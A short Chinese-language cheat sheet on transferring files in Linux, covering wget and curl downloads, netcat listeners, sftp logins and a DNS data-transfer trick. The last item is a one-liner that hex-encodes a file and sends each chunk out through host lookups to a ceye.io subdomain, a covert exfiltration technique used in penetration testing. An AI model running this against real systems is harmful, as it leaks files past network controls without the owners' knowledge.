跳至正文

linux文件传输

v2 767c56772f1c925816a26cd4e650f729 720w 1
wget <url>
wget -O <要保存的文件名> <url>
curl -o <要保存的文件名> <url>
curl -O <url>
  • netcat

    cat file1 | nc -l 1234         服务器监听端口
    nc host_ip 1234 > file2        客户端访问
    nc host_ip 1234 < file1
    nc -lvvp 1234 > file2
  • sftp

    sftp root@ip       进入命令窗口,执行help命令查看到用法
    sftp -P 22 root@ip
    sftp -P 22 -i <私钥> root@ip
  • DNS传输数据

    cat a.txt | xxd -p -c 16 |while read line;do host $line.cw381w.ceye.io

    *这个命令是将文件 a.txt 中的内容逐行读取,并使用 xxd 命令将每行内容转换为十六进制表示。然后,它通过循环读取每行的内容,并将其附加到 .cw381w.ceye.io 域名上,使用 host 命令查询该域名的解析结果。